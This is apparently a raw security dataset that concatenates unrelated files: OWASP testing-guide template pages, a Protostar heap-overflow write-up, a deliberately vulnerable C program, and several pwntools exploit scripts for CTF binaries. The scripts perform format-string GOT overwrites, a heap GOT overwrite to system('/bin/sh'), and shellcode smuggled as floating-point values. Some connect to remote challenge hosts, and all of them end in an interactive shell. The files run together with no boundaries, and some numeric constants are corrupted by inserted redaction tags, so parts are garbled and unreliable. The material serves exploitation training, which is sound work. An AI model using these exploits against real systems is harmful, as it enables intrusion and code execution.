deardaniel/secdata-raw huggingface dataset:
# Test Scenario Template

This area provides an [example template](999-Foo_Testing/1-Testing_for_a_Cat_in_a_Box.md) and [explanation of that template](999-Foo_Testing/2-Template_Explanation.md) for use in developing guide content. (They are based on fake chapter `999`.)

## Formatting Examples

This folder also shows how to format specific types of content:

- [HTTP Requests and Responses](999-Foo_Testing/3-Format_for_HTTP_Request_Response.md)

## Merged or Retired Tests

When a test is merged into another test, retain the original file to preserve ID continuity.

At the end of the file, include the following reference-style metadata marker:

`[merged]: # (WSTG-XXXX-XX)`

Replace `WSTG-XXXX-XX` with the destination test ID.

This ensures merged tests are explicitly identifiable while keeping the Markdown valid and render-safe.
# Formatting for HTTP Requests and Responses

|ID          |
|------------|
|WSTG-FOO-003|

## How to Include HTTP Request or Response Blocks

To use examples of HTTP requests and responses in an article, use [raw HTTP messages](https://tools.ietf.org/html/rfc2616) with the `http` Markdown code block language:

```markdown
    ```http
    Place request or response capture here
    ```
```

- Try to keep the blocks small.
- Use brackets and ellipsis `[...]` to show that the message is truncated if it helps the clarity of the article.

The following section is a sample article snippet with HTTP messages and a description of the formatting.

## Example HTTP Request and Response

If the tester sends the following HTTP Request for the home page:

```http
GET / HTTP/1.1
Host: localhost:8080
```

Check if the response shows information about the server:

```http
HTTP/1.1 200
[...]
<!DOCTYPE html>
<html lang="en">
    <head>
        <meta charset="UTF-8" />
        <title>Apache Tomcat/10.0.4
[...]
```

In this result, the response identifies the server as Tomcat 10.0.4.

## Example Explanation

- The HTTP request and response have text describing them to the reader before the request and response.
- The GET request has the smallest amount of headers to have the desired response from the server.
    - For example, there is no `User-Agent:` as it is not needed for the "test case".
- The article uses brackets and ellipsis `[...]` to cut out unnecessary parts of the response.
    - Unnecessary response content for this sample includes the `Content-Type:` header and the rest of the HTML in the body.
# Article Template Explanation

|ID          |
|------------|
|WSTG-FOO-002|

## How to Name Your File

The filename format is:

`<number>-Article_Name.md`

To name your file:

- Replace `<number>` with the appropriate integer. If you are unsure which section your article belongs in, post a comment in your [new content issue](https://github.com/OWASP/wstg/issues?q=is%3Aopen+is%3Aissue+label%3ANew) asking for input.
- Write the article name in title case spaced with underscores for better URL encoding. If the article is titled, "Testing Foo Bypass in Bars" the filename component is: `Testing_Foo_Bypass_in_Bars` (with a hyphen separating the `<number>` from the title).

## Article Sections

The remainder of this document explains each section in the [article example](1-Testing_for_a_Cat_in_a_Box.md).

## Title

The first line of the document is a title at level H1. Followed by a Markdown table that includes the ID of the testing scenario. For example:

```md
|ID          |
|------------|
|WSTG-FOO-002|
```

## Summary

Fully describe the reason for the test. Name specific vulnerabilities. Give the background information necessary for a reader with basic technical expertise. Explain terminology and abbreviations. See the [style guide](../../style_guide.md) for more.

## Test Objectives

Use an [active voice](../../style_guide.md#active-voice) to describe the goal of the test.

## How to Test

Provide specific instructions for performing one or more tests that satisfy the stated objective above. Use individual headings for different tests or methods. Be concise and complete. Use code snippets or images where necessary.

## Remediation

Give a short overview of preventative measures. You may use bullet points. Provide leads to solutions that the reader can follow, but do not try to describe the entire solution itself. Remediation is outside the scope of the testing guide project.

Avoid duplicating content from other OWASP projects. Provide inline links to outside content as needed. Consider the following OWASP resources: [Application Security Verification Standard (ASVS)](https://github.com/OWASP/ASVS), [Top 10](https://github.com/OWASP/Top10), [Proactive Controls](https://owasp.org/www-project-proactive-controls/), or the [Cheat Sheet Series](https://cheatsheetseries.owasp.org).

## References

If the article contains information sourced from other documents that you could not gracefully link inline, include them here in a bulleted list of links.
# protostar heap 0

Let's take a look at the binary. Also this challenge is a bit different from the others, the goal is to run the `winner` function. Also I recompiled this challenge from source:

```
$    file heap0
heap0: ELF 32-bit LSB shared object, Intel 80386, version 1 (SYSV), dynamically linked, interpreter /lib/ld-, for GNU/Linux 3.2.0, BuildID[sha1]=ca0d25fb47b05e42811810bf08e5376b33f64501, not stripped
$    pwn checksec heap0
[*] '/Hackery/pod/modules/heap_overflow/protostart_heap0/heap0'
    Arch:     i386-32-little
    RELRO:    Partial RELRO
    Stack:    No canary found
    NX:       NX enabled
    PIE:      No PIE (0x8048000)
$    ./heap0
data is at 0x56fde160, fp is at 0x56fde1b0
Segmentation fault (core dumped)
$    ./heap0 15935728
data is at 0x56c08160, fp is at 0x56c081b0
level has not been passed
```

So we can see it prints out what looks like two heap addresses, and takes in input as an argument. In addition to that we see that there is no PIE, and it is a 32 bit binary. When we take a look at the main function in Ghidra, we see this:

```
/* WARNING: Function: __x86.get_pc_thunk.bx replaced with injection: get_pc_thunk_bx */

undefined4 main(undefined4 param_1,int param_2)

{
  char *ptr0;
  undefined **ptr1;
 
  ptr0 = (char *)malloc(0x40);
  ptr1 = (undefined **)malloc(4);
  *(code **)ptr1 = nowinner;
  printf("data is at %p, fp is at %p\n",ptr0,ptr1);
  strcpy(ptr0,*(char **)(param_2 + 4));
  (*(code *)*ptr1)();
  return 0;
}
```

So we can see a few things. First that it allocates two separate heap chunks, one `0x40` bytes big and the other just `4` bytes (`ptr0` and `ptr1`). Then it sets `ptr1` equal to the function `nowinner`. After that it prints the value of `ptr0` and `ptr1` (so that is where our two heap addresses come from). Proceeding that it copies over the input we gave it via an argument to `ptr0`, however doesn't check for an overflow. This gives us a heap overflow bug. Proceeding that it executes the address pointed to by `ptr1`.

So we have an overflow. With it we will use it to overwrite the value of `ptr1` to be that of the `winner` function. When we ran it, we can see that `ptr0` was at `0x56c08160` and `ptr1` was at `0x56c081b0` (for the second iteration of running it). So after `0x56c081b0 - 0x56c08160 = 0x50` bytes of space between the start of our input and the instruction pointer stored in `ptr1`. Next we need the address of `winner`:

```
$    objdump -D heap0 | grep winner
080484b6 <winner>:
080484e1 <nowinner>:
```

With that, we have everything we need to solve the challenge:

```
$    ./heap0 `python -c 'print "0"*0x50 + "\xb6\x84\x04\x08"'`
data is at 0x98ac160, fp is at 0x98ac1b0
level passed
```
#include <stdlib.h>
#include <unistd.h>
#include <string.h>
#include <sys/types.h>
#include <stdio.h>

struct auth {
  char name[32];
  int auth;
};

struct auth *auth;
char *service;

int main(int argc, char **argv)
{
  char line[128];

  while(1) {
      printf("[ auth = %p, service = %p ]\n", auth, service);

      if(fgets(line, sizeof(line), stdin) == NULL) break;

      if(strncmp(line, "auth ", 5) == 0) {
          auth = malloc(sizeof(auth));
          memset(auth, 0, sizeof(auth));
          if(strlen(line + 5) < 31) {
              strcpy(auth->name, line + 5);
          }
      }
      if(strncmp(line, "reset", 5) == 0) {
          free(auth);
      }
      if(strncmp(line, "service", 6) == 0) {
          service = strdup(line + 7);
      }
      if(strncmp(line, "login", 5) == 0) {
          if(auth->auth) {
              printf("you have logged in already!\n");
          } else {
              printf("please enter your password\n");
          }
      }
  }
}
from z3 import *

foREVer = Solver()

x = BitVec("0", 64)

foREVer.add(((x * 0x1064deadbeef4601) & 0xffffffffffffffff) == 0xd1038d2e07b42569)

if foREVer.check() == sat:
    solution = foREVer.model()
    solution = hex(int(str(solution[x])))
    solution = solution[2:]

    # We have to reverse the value because the binary is least endian
    value = ""
    i = len(solution) / 2
    while i > 0:
        i -= 1 
        y = solution[(i*2):(i*2) + 2]
        value += chr(int("0x" + y, 16))

    print "Now I think, I understand: " + value
else:
    print "Not solvable, I would recommend crying, a lot"
#include <stdio.h>
#include <stdlib.h>

int main(void)
{
	puts("This is just a well documented C file explaining a potential attack.");
	puts("Thing is, how signed and unsigned values are store is different.");
	puts("So if we were to evaluate a signed integer as an unsigned integer, or vice versa, it would see a different value than what it was assigned.");
	puts("Let's see an example.\n");

	unsigned long l0 = 0xfacade54facade;
	printf("We have initialized an unsigned long with the value: 0x%lx\n\n", l0);

	puts("First we will compare it as an unsigned integer to the value we initialized it to.");

	if (l0 == 0xfacade54facade)
	{
		puts("Check 0 passed.\n");
	}

	else
	{
		puts("Check 0 failed.\n");
	}

	puts("Now we will compare it as a signed integer to the value we initialized it to.");

	if ((signed)l0 == 0xfacade54facade)
	{
		puts("Check 1 passed.\n");
	}

	else
	{
		puts("Check 1 failed.\n");
	}

	puts("As you can see, when we cast it to a signed integer it was perceived as a different value, and thus failed the check.");
	puts("You will find this type of bug around where it compares a signed value as unsigned or vice versa.");
	puts("It is usually just one step in the process of getting code execution.");
}
# Signed / Unsigned Explanation

This is essentially just a well documented C file that briefly explains how a potential Unsigned / Signed bug works. While this by itself won't be enough to get code execution, it can often lead to fun behavior that will allow you to get code execution.

Here is the code:

```
#include <stdio.h>
#include <stdlib.h>

int main(void)
{
	puts("This is just a well documented C file explaining a potential attack.");
	puts("Thing is, how signed and unsigned values are store is different.");
	puts("So if we were to evaluate a signed integer as an unsigned integer, or vice versa, it would see a different value than what it was assigned.");
	puts("Let's see an example.\n");

	unsigned long l0 = 0xfacade54facade;
	printf("We have initialized an unsigned long with the value: 0x%lx\n\n", l0);

	puts("First we will compare it as an unsigned integer to the value we initialized it to.");

	if (l0 == 0xfacade54facade)
	{
		puts("Check 0 passed.\n");
	}

	else
	{
		puts("Check 0 failed.\n");
	}

	puts("Now we will compare it as a signed integer to the value we initialized it to.");

	if ((signed)l0 == 0xfacade54facade)
	{
		puts("Check 1 passed.\n");
	}

	else
	{
		puts("Check 1 failed.\n");
	}

	puts("As you can see, when we cast it to a signed integer it was perceived as a different value, and thus failed the check.");
	puts("You will find this type of bug around where it compares a signed value as unsigned or vice versa.");
	puts("It is usually just one step in the process of getting code execution.");
}
```

When we run it:

```
$	./signed_unsigned 
This is just a well documented C file explaining a potential attack.
Thing is, how signed and unsigned values are store is different.
So if we were to evaluate a signed integer as an unsigned integer, or vice versa, it would see a different value than what it was assigned.
Let's see an example.

We have initialized an unsigned long with the value: 0xfacade54facade

First we will compare it as an unsigned integer to the value we initialized it to.
Check 0 passed.

Now we will compare it as a signed integer to the value we initialized it to.
Check 1 failed.

As you can see, when we cast it to a signed integer it was perceived as a different value, and thus failed the check.
You will find this type of bug around where it compares a signed value as unsigned or vice versa.
It is usually just one step in the process of getting code execution.
```
from pwn import *

payload = ""
payload += "0"*0x18
payload += p32(0x080491a2)
payload += "1"*(0x105 - len(payload))

target = process(["./vuln", "0", payload])

target.interactive()
#Import pwntools
from pwn import *

#Establish the target process, or network connection
target = process('./32_new')

#Attach gdb if it is a process
gdb.attach(target, gdbscript='b *0x080487dc')

#Print the first line of text
print target.recvline()

#Establish the addresses which we will be writing to
fflush_adr0 = p32(0x804a028)
fflush_adr1 = p32(0x804a029)
fflush_adr2 = p32(0x804a02b)

#Establish the necessary inputs for our input, so we can write to the addresses
fmt_string0 = "%10$n"
fmt_string1 = "%11$n"
fmt_string2 = "%12$n"

#Form the payload
payload = fflush_adr0 + fflush_adr1 + fflush_adr2 + fmt_string0 + fmt_string1 + fmt_string2

#Send the payload
target.sendline(payload)

#Drop to an interactive shell
target.interactive()
#Import pwntools
from pwn import *

#Establish the target process, or network connection
target = process('./32_new')
#target = remote('163.172.176.29', 9035)

#Attach gdb if it is a process
#gdb.attach(target, gdbscript='b *0x080487dc')

#Print the first line of text
print target.recvline()

#Prompt for input, to pause for gdb
#raw_input()

#Establish the addresses which we will be writing to
fflush_adr0 = p32(0x804a028)
fflush_adr1 = p32(0x804a029)
fflush_adr2 = p32(0x804a02b)

#Establish the amount of bytes needed to be printed in order to write correct value
flag_val0 = "%185x"
flag_val1 = "%892x"
flag_val2 = "%129x"

#Establish the necessary inputs for our input, so we can write to the addresses
fmt_string0 = "%10$n"
fmt_string1 = "%11$n"
fmt_string2 = "%12$n"

#Form the payload
payload = fflush_adr0 + fflush_adr1 + fflush_adr2 + flag_val0 + fmt_string0 + flag_val1 + fmt_string1 + flag_val2 + fmt_string2

#Send the payload
target.sendline(payload)

#Drop to an interactive shell
target.interactive()
from pwn import *

# Establish the target process
target = process('greeting')
gdb.attach(target, gdbscript = 'b *0x0804864f')

# The values we will be overwritting
finiArray = 0x08049934
strlenGot = 0x08049a54

# The values we will be overwritting with
getline = 0x8048614
systemPlt = 0x8048490

# Establish the format string
payload = ""

# Just a bit of padding
payload += "xx"

# Address of fini array
payload += p32(finiArray)

# Address of fini array + 2
payload += p32(finiArray + 2)

# Address of got entry for strlen
payload += p32(strlenGot)

# Address of got entry for strlen + 2
payload += p32(strlenGot + 2)

# Write the lower two bytes of the fini array with loop around address (getline setup)
payload += "%34288x"
payload += "%12$n"

# Write the lower two bytes of the plt system address to the got strlen entry
payload += "%65148x"
payload += "%14$n"

# Write the higher two bytes of the two address we just wrote to
# Both are the same (0x804)
payload += "%33652x"
payload += "%13$n"
payload += "%15$n"

# Print the length of our fmt string (make sure we meet the size requirement)
print "len: " + str(len(payload))

# Send the format string
target.sendline(payload)

# Send '/bin/sh' to trigger the system('/bin/sh') call
target.sendline('/bin/sh')

# Drop to an interactive shell
target.interactive()
from pwn import *

#target = process("./betstar5000")
target = remote("13.53.69.114", 50000)
#gdb.attach(target)

elf = ELF("betstar5000")
libc = ELF("libc-2.27.so")


def getMenu():
    print target.recvuntil("5. End the game")

def getLeaks():
    getMenu()
    target.sendline("1")# menu
    target.sendline("1")
    target.sendline("1")
    print target.recvuntil("And the winner is *drumroll*: ")
    leak = target.recvline().strip("\n")
    return leak

def addPlayer(name):
    getMenu()
    target.sendline("3")
    raw_input()
    target.sendline(name)

def editPlayer(index, name):
    target.sendline("4")
    raw_input()

    target.sendline(str(index))
    raw_input()

    target.sendline(name)


# Get infoleaks, calculate needed addresses

target.sendline("1")
target.sendline("%x.%x")

leak = getLeaks()

pieBase = int(leak.split(".")[0], 16) - 0x105c
libcBase = int(leak.split(".")[1], 16) - 0x1d85c0
mallocHook = libcBase + libc.symbols["__malloc_hook"]
system = libcBase + libc.symbols["system"]
strtok = pieBase + 0x2584

print "pie base is: " + hex(pieBase)
print "libc base is: " + hex(libcBase)
print "malloc hook is: " + hex(mallocHook)
print "strtok: " + hex(strtok)
print "printf: " + hex(pieBase + 0x9df)

# Calculate the amount of bytes we need to print for the fmt string write

x = (system & 0xffff) - 8
y = ((system & 0xffff0000) >> 16) - (system & 0xffff)

# Make the fmt string

noop = p32(strtok) + p32(strtok + 2) + "%" + str(x) + "x%19$n" + "%" + str(y) + "x%20$n"

# Add two new players
filler = "0"*12

for i in range(0, 2):
    addPlayer(filler)

editPlayer(1, noop[0:17])
editPlayer(2, noop[16:])

# Get our fmt string to the vulnerable printf call

target.sendline("1")
target.sendline("2")
target.sendline("100")

target.sendline("1")

# Send 'sh' to be our argument to system, to get our shell

target.sendline("sh")

# Enjoy your shell

target.interactive()
# What's Next?

So it might feel like you have just watched the twelfth episode a seasonal anime. The season is over. It's finished. No new content left. The knowledge that there will probably not be a second season slowly starts to sink in. The realization that you might have to read the manga. You think for one last time about how great the characters are, how interesting the plot was...

Ok all memes aside, there is a lot more left to do. For starters you can check out `ctftime.org` to see when the next ctf is. Also you can check out some of these other resources:

```
https://github.com/RPISEC/MBE
https://github.com/shellphish/how2heap
https://github.com/ctfs/
https://pwnable.xyz/
https://pwnable.kr/
https://github.com/guyinatuxedo/ctf
https://ctf.hackucf.org/
https://365.csaw.io/
https://pwnable.tw/
https://www.pwnadventure.com/
https://ctf.katsudon.org/ctf4u/
https://google.com
```

Or you could just go out to do vr (vuln research) on real life targets.

In terms for this project, there are areas that I would like to expand upon. However between school / work / other projects, I'm not sure when I will be able to get around to it:

```
Hard Heap Exploitation
Kernel Exploitation
Embedded Exploitation
Windows Exploitation
Game Hacking (pwn adventures)
vtables
```
# Import the libraries
from pwn import *
import struct

# Establish the target
target = process('./doubletrouble')
#gdb.attach(target, gdbscript='b *0x8049733')
#target = remote('pwn.chal.csaw.io', 9002)

# Get the infoleak, calculate the offset to our shellcode
stack = target.recvline()
stack = stack.replace("\x0a", "")
stack = int(stack, 16)
scadr = stack + 0x1d8

# Create the integer we will create, that will be stored as the double after the ROPgadget 0x804900a, which is the first return address we put
ret = "0x8049010" + hex(scadr).replace("0x", "")
ret = int(ret, 16)

# Scan in some of the input 
target.recvuntil("How long: ")


# Etsablish the four blocks as floats, which make up our shellcode
s1 = "-9[PII_REDACTED]77544e-227"# 0x9101eb51e1f7c931
s2 = "-6[PII_REDACTED]424842e-229"# 0x[PII_REDACTED]2f2f68 
s3 = "-6[PII_REDACTED]412978e-229"# 0x9090406e69622f68
s4 = "-[PII_REDACTED]188698e-231"# 0x900080cd0bb0e389

# shellcode does the following:
'''
   0xffff7ca0:	xor    ecx,ecx
   0xffff7ca2:	mul    ecx
   0xffff7ca4:	push   ecx
   0xffff7ca5:	jmp    0xffff7ca8
   0xffff7ca7:	xchg   ecx,eax
   0xffff7ca8:	push   0x68732f2f
   0xffff7cad:	nop
   0xffff7cae:	nop
   0xffff7caf:	nop
   0xffff7cb0:	push   0x6e69622f
   0xffff7cb5:	inc    eax
   0xffff7cb6:	nop
   0xffff7cb7:	nop
   0xffff7cb8:	mov    ebx,esp
   0xffff7cba:	mov    al,0xb
   0xffff7cbc:	int    0x80
'''

# Send the amount of floats we will input, and then send the first 5
target.sendline('64')
for i in range(5):

	target.sendline('-[PII_REDACTED]386629e+306')#0xff820d[PII_REDACTED]

# Send the value which will trigger the bug to write over heapQt
target.sendline('-23')

# Send the rest of the filler floats
for i in range(51):
	target.sendline('-[PII_REDACTED]386629e+306')#0xff820d[PII_REDACTED]

# This is the value which will be between the stack canary, and the double which occupies the return address
target.sendline('3[PII_REDACTED]336791e-270')#0x[PII_REDACTED]000000

# Send the shellcode blocks
target.sendline(s1)
target.sendline(s2)
target.sendline(s3)
target.sendline(s4)

# Send the double which will reside after the return address double, which will store the address of our shellcode in the last four bytes. 
# We have to convert the int to a float, so it's stored in memory correctly
target.sendline("%.19g" % struct.unpack("<d", p64(ret)))

# Send the double which will occupy the return address with the gadget 0x804900a: ret
target.sendline('4[PII_REDACTED]983783e-270')#0x804900a00000000

# Drop to an interactive shell
target.interactive()
from pwn import *

target = process('./dream_heaps')
libc = ELF('libc-2.27.so') # If you have a different libc file, run it here

gdb.attach(target)

puts = 0x662f0
system = 0x3f630
offset = system - puts

def write(contents, size):
  print target.recvuntil('> ')
  target.sendline('1')
  print target.recvuntil('dream?')
  target.sendline(str(size))
  print target.recvuntil('dream?')
  target.send(contents)

def read(index):
  print target.recvuntil('> ')
  target.sendline('2')
  print target.recvuntil('read?')
  target.sendline(str(index))
  leak = target.recvuntil("What")
  leak = leak.replace("What", "")
  leak = leak.replace("\x0a", "")
  leak = leak + "\x00"*(8 - len(leak))
  leak = u64(leak)
  log.info("Leak is: " + hex(leak))
  return leak

def edit(index, contents):
  print target.recvuntil('> ')
  target.sendline('3')
  print target.recvuntil('change?')
  target.sendline(str(index))
  target.send(contents[:6])

def delete(index):
  print target.recvuntil('> ')
  target.sendline('4')
  print target.recvuntil('delete?')
  target.sendline(str(index))

# Get the libc infoleak via absuing index bug
puts = read(-263021)
libcBase = puts - libc.symbols['puts']

# Setup got table overwrite via an overflow
write('/bin/sh\x00', 0x10)
write('0'*10, 0x20)
write('0'*10, 0x30)
write('0'*10, 0x40)
write('0'*10, 0x50)
write('0'*10, 0x60)
write('0'*10, 0x70)
write('0'*10, 0x80)
write('0'*10, 0x90)
write('0'*10, 0xa0)
write('0'*10, 0xb0)
write('0'*10, 0xc0)
write('0'*10, 0xd0)
write('0'*10, 0xe0)
write('0'*10, 0xf0)
write('0'*10, 0x11)
write('0'*10, 0x22)
write('0'*10, 0x18)
write('0'*10, 0x602018)
write('0'*10, 00)

# Write libc address of system to got free address
edit(17, p64(libcBase + libc.symbols['system']))

# Free dream that points to `/bin/sh` to get a shell
delete(0)

target.interactive()